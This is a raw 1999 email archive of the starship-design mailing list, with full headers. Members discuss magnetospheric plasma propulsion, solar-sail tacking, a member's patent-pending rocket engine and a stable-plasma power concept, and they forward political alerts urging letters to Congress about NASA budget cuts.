Content-Transfer-Encoding: 7bit X-Mailer: AOL for Macintosh sub 56 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Mini-Magnetospheric Plasma Propulsion, M2P2 , system Date: Wed, 1 Sep 1999 17:38:26 EDT In a message dated 8/31/99 11:53:17 AM, bfranchuk@jetnet.ab.ca writes: >KellySt@aol.com wrote: >> >> I wonder if this could be used effectively as an interstellar break? > Nothing >> in the paper talks about effective ISP or power consumption vrs thrust. >> >> Kelly >> >> http://peaches.niac.usra.edu/studies/9801/winglee.html >> >> The Mini-Magnetospheric Plasma Propulsion, M2P2 , system provides a >> revolutionary means for spacecraft propulsion that can efficiently utilize >> the energy from the space plasmas to accelerate payloads to much higher >> speeds than can be attained by present chemical (oxidizing propulsion >> systems. The system utilizes an innovative configuration of existing >> technology based on well established principles of plasma physics. It >has the >> potential of feasibly providing cheap, fast propulsion that could power >> Interstellar Probe. > >Sounds like we found the IMPULSE drive of star trek type space craft. >If the plasma propulsion idea can be expanded into a real interstellar >ramjet, >next stop the planets. Actually the ""impulse drives"" were a modified fusion drive (must have played games with inertia to get the spec impulse they'd need), and ramjets probably don't do you a lot of good in this sector of the galaxy. >From VM Wed Sep 1 14:58:40 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1505"" ""Wednesday"" ""1"" ""September"" ""1999"" ""16:40:02"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""34"" ""RE: starship-design: Mini-Magnetosphere and Star-Travel"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 1505 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id OAA15455 for starship-design-outgoing; Wed, 1 Sep 1999 14:41:55 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id OAA15406 for ; Wed, 1 Sep 1999 14:41:50 -0700 (PDT) Received: from broadsword (p458.gnt.com [204.49.91.74]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id QAA18124 for ; Wed, 1 Sep 1999 16:41:39 -0500 Message-ID: <000101bef4c2$ad36e000$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <14285.29017.441091.294521@tzadkiel.efn.org> Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: Subject: RE: starship-design: Mini-Magnetosphere and Star-Travel Date: Wed, 1 Sep 1999 16:40:02 -0500 I think Robert Forward has adequately covered the subject of tacking solar sails, it is possible, it does work like a boat, and it isn't necessarily dependent upon having water and a keel, even to go ""upwind"". Lee Parker > -----Original Message----- > From: owner-starship-design@lists.uoregon.edu > [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of Steve > VanDevender > Sent: Wednesday, September 01, 1999 1:33 PM > To: starship-design@lists.uoregon.edu > Subject: Re: starship-design: Mini-Magnetosphere and Star-Travel > > > Ben Franchuk writes: > > So what happened to the tacking into the wind, for the > return trip home. > > A insystem ram scoop is a good idea -- > > Tacking works in water sailing because a boat is resistant to > moving sideways through the water. When you tack the wind on the > sail produces a sideways thrust component that is strongly > resisted by the boat's orientation in the water and a forward > component that isn't, so the boat makes net forward motion > (especially if you zig-zag). Unfortunately that isn't a property > of spaceships, so they can't tack. There's a certain amount you > can do if the spaceship is already in orbit around the star; you > can arbitrarily raise or lower the spaceship's orbit using a sail > to produce thrust components with or against the ship's orbital > motion. But you can't accelerate a ship towards the star with > the sail any better than just furling the sail and letting the > star's gravity pull you in. > >From VM Wed Sep 1 14:58:40 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1192"" ""Wednesday"" ""1"" ""September"" ""1999"" ""17:53:44"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""38"" ""Re: starship-design: Mini-Magnetosphere and Star-Travel"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 1192 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id OAA19317 for starship-design-outgoing; Wed, 1 Sep 1999 14:54:18 -0700 (PDT) Received: from imo29.mx.aol.com (imo29.mx.aol.com [198.81.17.73]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id OAA19309 for ; Wed, 1 Sep 1999 14:54:17 -0700 (PDT) Received: from KellySt@aol.com by imo29.mx.aol.com (mail_out_v22.4.) id zUNHa01989 (7990) for ; Wed, 1 Sep 1999 17:53:45 -0400 (EDT) Message-ID: <7539a569.24fefa68@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Mailer: AOL for Macintosh sub 56 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu CC: starship-design@lists.uoregon.edu Subject: Re: starship-design: Mini-Magnetosphere and Star-Travel Date: Wed, 1 Sep 1999 17:53:44 EDT In a message dated 9/1/99 1:18:46 PM, bfranchuk@jetnet.ab.ca writes: >Adam Crowl wrote: >> >> Hi SD >> >> The system seems to have a lot of potential within this system but as >an >> interstellar drive it's pretty pitiful except for missions to the solar >> focus at 550 AU or so. It's maximum velocity is limited to the speed >of the >> solar wind which is only 500-1000 km/s, so it'd be a long time between >stars >> unless you had a secondary drive or a working ramscoop. A better system >> would be a magneto-sail pushed up to interstellar speeds by a massive >> particle beam. Powered by fusion it'd push the costs of probe launches >way >> down since it'd only take a few hours at a time to accelerate probes >up to ~ >> 0.3c or so. I think all this has been discussed before and the basic >design >> settled on involves a lithium-fusor launched via a beam/laser to 0.3c >[?], >> boosted to 0.4c by fusors and deccelerated by a mag-sail. >> > >So what happened to the tacking into the wind, for the return trip home. Doesn't work. Only works in system because your 'tacking' is really altering your orbit traj around the sun. >A insystem ram scoop is a good idea -- Kelly >From VM Wed Sep 1 14:58:40 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1424"" ""Wednesday"" ""1"" ""September"" ""1999"" ""17:53:42"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""50"" ""Re: starship-design: Mini-Magnetosphere and Star-Travel"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 1424 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id OAA19352 for starship-design-outgoing; Wed, 1 Sep 1999 14:54:29 -0700 (PDT) Received: from imo27.mx.aol.com (imo27.mx.aol.com [198.81.17.71]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id OAA19345 for ; Wed, 1 Sep 1999 14:54:28 -0700 (PDT) Received: from KellySt@aol.com by imo27.mx.aol.com (mail_out_v22.4.) id zTDWa01404 (7990) for ; Wed, 1 Sep 1999 17:53:43 -0400 (EDT) Message-ID: <5606cab1.24fefa66@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Mailer: AOL for Macintosh sub 56 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Mini-Magnetosphere and Star-Travel Date: Wed, 1 Sep 1999 17:53:42 EDT In a message dated 9/1/99 12:16:24 PM, adam@crowl.webcentral.com.au writes: >Hi SD > > > >The system seems to have a lot of potential within this system but as an > >interstellar drive it's pretty pitiful except for missions to the solar > >focus at 550 AU or so. It's maximum velocity is limited to the speed of >the > >solar wind which is only 500-1000 km/s, so it'd be a long time between >stars > >unless you had a secondary drive or a working ramscoop. A better system > >would be a magneto-sail pushed up to interstellar speeds by a massive > >particle beam. Powered by fusion it'd push the costs of probe launches >way > >down since it'd only take a few hours at a time to accelerate probes up >to ~ > >0.3c or so. I think all this has been discussed before and the basic design > >settled on involves a lithium-fusor launched via a beam/laser to 0.3c [?], > >boosted to 0.4c by fusors and deccelerated by a mag-sail. > > > >Still the mini-magnetosphere will make possible some cheap and fast > >non-nuclear OutPlanet missions, so more power to them!!! > > > >Adam My thought was that the interstelar dust and debries might make a damn good ion flow and act like a solar wind while at speed .4c. If you could cut down a good fraction of that speed before you have to hit the decel boost, you could save a ton of fuel. I hadn't thought of using it as a sail for boosting out. Interesting idea though. Kelly >From VM Wed Sep 1 16:35:38 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2083"" ""Wednesday"" ""1"" ""September"" ""1999"" ""19:33:28"" ""EDT"" ""STAR1SHIP@aol.com"" ""STAR1SHIP@aol.com"" nil ""51"" ""starship-design: My rocket engine patent pending link - Star Ship"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 2083 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id QAA14463 for starship-design-outgoing; Wed, 1 Sep 1999 16:34:24 -0700 (PDT) Received: from imo13.mx.aol.com (imo13.mx.aol.com [198.81.17.3]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id QAA14457 for ; Wed, 1 Sep 1999 16:34:23 -0700 (PDT) Received: from STAR1SHIP@aol.com by imo13.mx.aol.com (mail_out_v22.4.) id zGUHa13735 (4236) for ; Wed, 1 Sep 1999 19:33:28 -0400 (EDT) Message-ID: <9d4d669d.24ff11c8@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows 95 sub 10 Precedence: bulk Reply-To: STAR1SHIP@aol.com From: STAR1SHIP@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: My rocket engine patent pending link - Star Ship Date: Wed, 1 Sep 1999 19:33:28 EDT ------------------------------ from welcome message of majordomo@lists.uoregon.edu Although clearly there is much speculation involved in the development of future technology, this mailing list is practically oriented and proposals should be justifiable using presently-known engineering techniques and scientific knowledge. Proposals involving highly speculative topics such as FTL (faster-than-light) propulsion or novel energy generation techniques will be treated quite skeptically by list members. ------------------------------- Thank you for welcoming me to your mailing list. I have a patent pending on a rocket engine that may be of interest to some of your members. There are seven claims with the seventh being a machine to test Einstein's theory that a machine other than a particle accelerator may be found to exceed light speed. I have no desire to discuss the validity of the seventh claim to keep any responses to issues of my machine principles of applied physics and not the theoretical projections of it's operating limits. I welcome other feedback (claims one to six or patents in general) even when healthily skeptical. I believe we all share a belief in man's future exploration of the stars, and I propose a practical machine to accomplish this. Reference to my websites engine patent pending is below. To transport to my cyberspace constructed star ship's transporter room (Table of Contents) simply click the animated blue bar at the top of any of my web property pages marking my intellectual property. I am not responsible for links outside my property including one to LIT. This mailing list in-closet members believing in faster than light rocket travel may respond by private mail to tjac780754@aol.com with my private response given. (use private in subject line) . I will respond publicly to this list post regarding other inquires-not about light speed limit. Respectfully, Tom Jackson star1ship@aol.com PS Enjoy http://members.aol.com/tjac780754/indexb.htm >From VM Fri Sep 3 17:11:28 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2154"" ""Friday"" ""3"" ""September"" ""1999"" ""20:09:07"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""65"" ""starship-design: Fwd: Associated press needs a calculator!!"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 2154 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id RAA02110 for starship-design-outgoing; Fri, 3 Sep 1999 17:09:45 -0700 (PDT) Received: from imo28.mx.aol.com (imo28.mx.aol.com [198.81.17.72]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id RAA02072 for ; Fri, 3 Sep 1999 17:09:44 -0700 (PDT) Received: from KellySt@aol.com by imo28.mx.aol.com (mail_out_v22.4.) id zWPFa22757 (3868) for ; Fri, 3 Sep 1999 20:09:08 -0400 (EDT) Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""part1_f20848a5.2501bd23_boundary"" X-Mailer: AOL for Macintosh sub 56 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: Fwd: Associated press needs a calculator!! Date: Fri, 3 Sep 1999 20:09:07 EDT --part1_f20848a5.2501bd23_boundary Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit --part1_f20848a5.2501bd23_boundary Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Received: from rly-zd01.mx.aol.com (rly-zd01.mail.aol.com [172.31.33.225]) by air-zd02.mail.aol.com (v60.28) with ESMTP; Fri, 03 Sep 1999 11:17:48 -0400 Received: from bastion1.mail.sprint.com (bastion.mail.sprint.com [208.4.28.129]) by rly-zd01.mx.aol.com (v60.28) with ESMTP; Fri, 03 Sep 1999 11:17:42 -0400 Received: from sii01.mail.sprint.com by bastion1.mail.sprint.com with ESMTP; Fri, 3 Sep 1999 10:17:39 -0500 Received: from [144.223.128.84] by sii01.mail.sprint.com with ESMTP; Fri, 3 Sep 1999 10:17:34 -0500 Received: from kcopmp02.corp.sprint.com (root@kcopmp02 [144.223.26.114]) by kcopmh01.corp.sprint.com (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id KAA20668; Fri, 3 Sep 1999 10:17:28 -0500 (CDT) From: kelly g starks Received: from localhost (root@localhost) by kcopmp02.corp.sprint.com (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id KAA01946; Fri, 3 Sep 1999 10:17:27 -0500 (CDT) X-OpenMail-Hops: 1 Date: Fri, 3 Sep 1999 10:17:26 -0500 Message-Id: Subject: Associated press needs a calculator!! TO: DotarSojat@aol.com, indy@the-line.com, kellyst@aol.com, kryswalker@aol.com, scott.schulte@openmail.mail.sprint.com, jason.torrey@openmail.mail.sprint.com, ken.ward@openmail.mail.sprint.com MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""openmail-part-0469e160-00000001"" --openmail-part-0469e160-00000001 Content-Type: text/plain; charset=""ISO-8859-1"" Content-Transfer-Encoding: quoted-printable The following quote from a AP report explains a lot about the quality of recent press reporting. 2 September 1999: Teens Plead Innocent in Hacking Case, AP, Yahoo ""Their ages were not given, but the indictment said they were all born in 1979."" =20 --openmail-part-0469e160-00000001-- --part1_f20848a5.2501bd23_boundary-- >From VM Sat Sep 4 15:28:22 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""4285"" ""Friday"" ""3"" ""September"" ""1999"" ""22:57:02"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""99"" ""starship-design: FW: SSRT: Space Access Political Action Alert 9/3/99 (fwd)"" ""^From:"" nil nil ""9"" nil ""starship-design: FW: SSRT: Space Access Political Action Alert 9/3/99"" nil nil nil] nil) Content-Length: 4285 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id UAA08340 for starship-design-outgoing; Fri, 3 Sep 1999 20:58:05 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id UAA08335 for ; Fri, 3 Sep 1999 20:58:04 -0700 (PDT) Received: from broadsword (p469.gnt.com [204.49.91.85]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id WAA01342 for ; Fri, 3 Sep 1999 22:58:02 -0500 Message-ID: <000601bef689$9205aaf0$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: FW: SSRT: Space Access Political Action Alert 9/3/99 (fwd) Date: Fri, 3 Sep 1999 22:57:02 -0500 -----Original Message----- From: listserv@ds.cc.utexas.edu [mailto:listserv@ds.cc.utexas.edu]On Behalf Of Chris W. Johnson Sent: Friday, September 03, 1999 5:07 PM To: Single Stage Rocket Technology News Subject: SSRT: Space Access Political Action Alert 9/3/99 (fwd) Date: Fri, 3 Sep 1999 17:03:10 -0400 (EDT) From: Donald L Doughty To: DC-X Subject: Space Access Political Action Alert 9/3/99 (fwd) Sender: delta-clipper-approval@world.std.com Reply-To: delta-clipper@europe.std.com Status: The latest info I have from 'The Hill' is Letters and Faxes are being counted on this issue. Space Access Political Action Alert 9/3/99 ____________________________________________________________________ - Contact Your Congressman by Wednesday! - Senate HUD/VA Markup Likely Week After Next Write, Fax or Call Your Congressman by Wednesday! Congress will come back into session after their August break this coming Wednesday, September 8th. The full House is currently expected to debate and vote on their HUD/VA (NASA) Appropriation that same day. As it emerged from committee, that bill contains roughly $900 million in NASA cuts, about two-thirds of that in space-based science. We are asking you all to contact your local Congressman and ask him or her to restore the NASA space science budget cuts in the HUD/VA Appropriation. This may seem a bit outside our area, but we do have what we think are good reasons. First, unless these cuts are in large part restored, there is very little chance we'll get an ""add"" for NASA Future-X. Restoring some significant part of the cuts in the House improves odds of getting Future-X money added in the Senate, in our estimation. Second, these parts of NASA being cut are those that tend to be most flexible about buying commercial launches when appropriate; they are good for the market that we're trying to encourage. Third, these parts of NASA being cut tend to be places where better-faster-cheaper has actually been happening; this is a trend we'd like to encourage. Note that we are taking no position on the Shuttle and Station cuts that make up the other third of the overall reductions. The message we recommend is ""restore the NASA space science cuts"". ""Restore the NASA cuts"" period is of course an option if you prefer. How To Do It Get your Congressman's DC office address or phone or fax number, via www.vote-smart.org (have an old bill with your nine-digit zip handy) or by calling your local library's information desk. If you're writing or faxing, compose a polite concise one-page letter to them, identifying yourself as a constituent of theirs, telling them what you'd like them to do, then briefly explaining why - just hit one or two high points, don't overexplain. Thank them for their attention, sign the letter, and send it. If you're writing, remember Monday is a holiday - get it to the Post Office Saturday or you'll have to overnight it Tuesday. If phoning during Tuesday or first thing Wednesday, dial their DC office number, ask for whoever handles NASA appropriations questions, then when connected to that staffer (or more likely their voice mail) tell them briefly who you are (""I'm Joe Smith from Peoria"") and what you want them to do (""Restore the NASA space science budget cuts""), then (unless they have questions) thank them for their time and ring off [202-225-3121 Cap. SB]. Senate HUD/VA Markup Likely Week After Next The next key item is going to be persuading the Senate Appropriators to ""add $30 million for NASA Future-X flight demonstrators, as provided for in the House NASA Authorization"". The Senate HUD/VA Appropriations Subcommittee is currently expected to ""mark up"" sometime during the week of September 13th. There is a small chance they might get to that late next week; we'll be putting out a specific Alert on that either way. Meanwhile, for you self-starters out there, the subcommittee members are Stevens AK, Byrd WV, Bond MO, Burns MT, Shelby AL, Craig ID, Hutchison TX, Kyl AZ, Mikulski MD, Leahy VT, Lautenberg NJ, Harkin IA - call fax or write with the above message, if one of these is your Senator. Thanks! *end* >From VM Mon Sep 20 11:09:43 1999 Content-Length: 5318 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""5318"" ""Wednesday"" ""8"" ""September"" ""1999"" ""19:43:37"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""156"" ""starship-design: FW: SSRT: Space Science Political Alert #4. (fwd)"" ""^From:"" nil nil ""9"" nil ""starship-design: FW: SSRT: Space Science Political Alert #4."" nil nil nil] nil) Content-Length: 5318 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id RAA03981 for starship-design-outgoing; Wed, 8 Sep 1999 17:57:20 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id RAA03963 for ; Wed, 8 Sep 1999 17:57:18 -0700 (PDT) Received: from broadsword (p466.gnt.com [204.49.91.82]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id TAA29632 for ; Wed, 8 Sep 1999 19:57:00 -0500 Message-ID: <001001befa5e$18ef2c30$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: FW: SSRT: Space Science Political Alert #4. (fwd) Date: Wed, 8 Sep 1999 19:43:37 -0500 -----Original Message----- From: listserv@ds.cc.utexas.edu [mailto:listserv@ds.cc.utexas.edu]On Behalf Of Chris W. Johnson Sent: Wednesday, September 08, 1999 2:55 PM To: Single Stage Rocket Technology News Subject: SSRT: Space Science Political Alert #4. (fwd) Date: Tue, 7 Sep 1999 16:48:57 -0400 (EDT) From: Donald L Doughty To: DC-X Subject: Space Science Political Alert #4. (Summer's Over...)] (fwd) Sender: delta-clipper-approval@world.std.com Reply-To: delta-clipper@europe.std.com Space Science Policy Alert #4. Monday 6 September 1999. By Tim Kyger *Cross-posting of the data in this message is strongly encouraged. * _* Night Comes In *_ On Wednesday, 8 September 1999, Congress returns from summer recess. On Wednesday, 8 September, the House will consider, debate, and vote on H.R. 2684, the FY '00 VA/HUD Appropriations Bill, which funds NASA. H.R. 2684 contains a cut to NASA of about a billion dollars -- unless changed. The Senate's VA/HUD Appropriations Subcommittee will meet on Thursday, 9 September to mark their FY '00 VA/HUD bill. Current word is that they, too, will cut NASA's requested FY '00 budget by about a billion dollars or so. We have three days to change things. _* Bonds Speaks Redux *_ Senator Kit Bond (R-MO) is the Chair of the Senate's VA/HUD Appropriations Subcommittee. He says that (at least as of August 3rd) that he has not received any appeals to keep NASA's budget at pre-cut levels, and further, that he does not have any meetings planned on the issue. Senator Bond's spokesman Dan Hubbard said, ""I am certain that no one has been in contact with us on this issue."" It was further said that Senator Bond has no plans to meet with NASA Administrator Dan Goldin, or with pro-NASA Senator Mike DeWine (R-OH), or anyone else about this issue. Folks should let Senator Bond know what they want - Senator Christopher Bond (R-MO) Senate VA/HUD Appropriations Subcommittee Chair 202/224-5721 vox 202/224-8149 fax 314/725-4484 in Kansas City 573/634-2488 in Jefferson City 573/334-7044 in Cape Girardeau 314/725-4484 in Saint Louis 417/881-7068 in Springfield Room SR-274 Russell Senate Office Building Washington DC 20510 kit_bond@bond.senate.gov email address www.senate.gov/~bond web site _* I Know What You Did Last Summer. *_ I worked on Capital Hill for eight years. Letters have more political clout than phone calls. Email has the least political clout of anything you can do, ranking lower than even a phone call. You can always fax your letter, however, and this is probably the most convenient way to register your opinion on this matter. (Staffers assume that paper mail or faxes take more effort, so they take them more seriously.) Last week, Capitol Hill had started to receive letters, calls, faxes, and email. But it was only a trickle. If we are to prevail, it has to change from light rain to a hurricane. A draft letter that may be used to model your letters will be found at the end of this message. After you write and/or fax Senator Bond, write and/or fax Senator Mikulski, the Ranking Democrat on the Senate VA/HUD Appropriations Subcommittee: Barbara Mikulski (D-MD) 202/224-4654 vox 202/224-8858 fax 410/962-4510 in Baltimore 410/263-1805 in Annapolis 301/345-5517 in College Park 410/546-7711 in Salisbury 301/797-2826 in Hagerstown Room SH-709 Hart Senate Office Building Washington DC 20510 senator@mikulski.senate.gov email address www.senate.gov/~mikulski web site When you're done, write and/or fax the following other two Senators: Ted Stevens (R-AK), Chairman of the full Appropriations Committee 202/224-3004 vox 202/224-2354 fax 907/271-5915 in Anchorage Room SH-522, HSOB senator_stevens@stevens.senate.gov email address stevens.senate.gov web site Robert Byrd (D-WV) is the full Committee Ranking Democrat, and he is also on the VA/HUD Subcommittee. 202/224-3954 vox 202/228-0002 fax 304/342-5855 in Charleston Room SH-311, HSOB senator_byrd@byrd.senate.gov email address www.senate.gov/~byrd/ web site _* Why We Fight *_ If you want to see the damage these proposed cuts to NASA's budget would do, point your browser at: http://www.hq.nasa.gov/office/oss/announce/housefull2000.html _* History in the Making *_ The following point was first made to me by Chaz Miller, formerly of ProSpace. Good point, Chaz! The debate that will occur on H.R. 2684 this coming Wednesday will constitute the first policy debate by our elected representatives on what the goals of the U.S. ought to be for its federal civil space program in at least a generation -- certainly it will be the first in *my* adult lifetime (born in '55.you do the math!). Debates on the Space Station don't count; they've only been debates about a specific program within NASA. You owe it to yourself to be aware of what is said in this coming debate. You also owe it to yourself, and to our posterity, to try to influence this debate beforehand. -* Silence Means Security; Silence Means Approval. *_ Write those letters! If you need more background information, please see the website at the following URL: http://home.marssociety.org/usa-political/news/kyger-3b-19990830.html or http://www.reston.com/nasa/budget.html Stay tuned. This is going to be a long fight. # end # >From VM Mon Sep 20 11:09:47 1999 Content-Length: 364 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""364"" ""Thursday"" ""16"" ""September"" ""1999"" ""18:51:47"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""17"" ""starship-design: Re: StarShip Design"" ""^From:"" nil nil ""9"" nil ""starship-design: Re: StarShip Design"" nil nil nil] nil) Content-Length: 364 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id PAA20016 for starship-design-outgoing; Thu, 16 Sep 1999 15:52:28 -0700 (PDT) Received: from imo17.mx.aol.com (imo17.mx.aol.com [198.81.17.7]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id PAA20011 for ; Thu, 16 Sep 1999 15:52:27 -0700 (PDT) Received: from KellySt@aol.com by imo17.mx.aol.com (mail_out_v22.4.) id rWWKa25313 (4365); Thu, 16 Sep 1999 18:51:47 -0400 (EDT) Message-ID: <28882c57.2512ce83@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Mailer: AOL for Macintosh sub 56 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: dana1ee@yahoo.com, starship-design@lists.uoregon.edu Subject: starship-design: Re: StarShip Design Date: Thu, 16 Sep 1999 18:51:47 EDT In a message dated 9/16/99 3:13:04 PM, dana1ee@yahoo.com writes: >Dear Sir, > >I found your site interesting and would like to have a link to it. >http://metalab.unc.edu/lunar/school/InterStellar/SSD_index.html > >Dana Lee Kimball >President >LaunchStar International Inc. >danalee@iname.com Glad you like it, please link to your hearts content. Kelly Starks >From VM Tue Sep 28 13:31:02 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1005"" ""Wednesday"" ""29"" ""September"" ""1999"" ""06:27:29"" ""+1000"" ""Adam Crowl"" ""ajcrowlx2@ozemail.com.au"" nil ""22"" ""starship-design: Plasma Drive..."" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 1005 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id NAA06421 for starship-design-outgoing; Tue, 28 Sep 1999 13:27:33 -0700 (PDT) Received: from fep7.mail.ozemail.net (fep7.mail.ozemail.net [203.2.192.125]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id NAA06408 for ; Tue, 28 Sep 1999 13:27:31 -0700 (PDT) Received: from oemcomputer (ae06190.powerup.com.au [203.147.198.190]) by fep7.mail.ozemail.net (8.9.0/8.6.12) with SMTP id GAA25263 for ; Wed, 29 Sep 1999 06:27:27 +1000 (EST) Message-ID: <001001bf09ef$e7229420$bec693cb@oemcomputer> References: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Precedence: bulk Reply-To: ""Adam Crowl"" From: ""Adam Crowl"" Sender: owner-starship-design@lists.uoregon.edu To: Subject: starship-design: Plasma Drive... Date: Wed, 29 Sep 1999 06:27:29 +1000 Hi SD, Well here's the URL for the Final Report on the Stable Plasma power storage concept... http://peaches.niac.usra.edu/studies/9801/9801Final/SewardFinal.pdf ...it requires Adobe Acrobat 3.0. It seems to have great potential and the plasma could be powered up by any old energy source, via a microwave injector or some such. Theoretically a stable plasma could be put in a jet engine and the aircraft would require NO fuel, and still have enough power to travel around the world! It'd just compress and heat normal air... Applied to a space launcher the savings could be immense, and applied to a Mars mission the mass would go from ~ 600 t [split between three launches] to one launch of about 120 t! That's an 80% saving in mass and God knows how much in equipment and development. Ultimately it could go into a system using small sub-plasmas for thrust and achieve maybe 60,000 s Isp... I can see real potential for this coupled with a Bussard fusor for high speed Deep Space missions... Adam >From VM Tue Sep 28 13:59:45 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""662"" ""Wednesday"" ""29"" ""September"" ""1999"" ""06:58:38"" ""+1000"" ""Adam Crowl"" ""ajcrowlx2@ozemail.com.au"" nil ""16"" ""starship-design: Planet Mapper on the Cheap"" ""^From:"" nil nil ""9"" nil nil nil nil nil] nil) Content-Length: 662 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id NAA00128 for 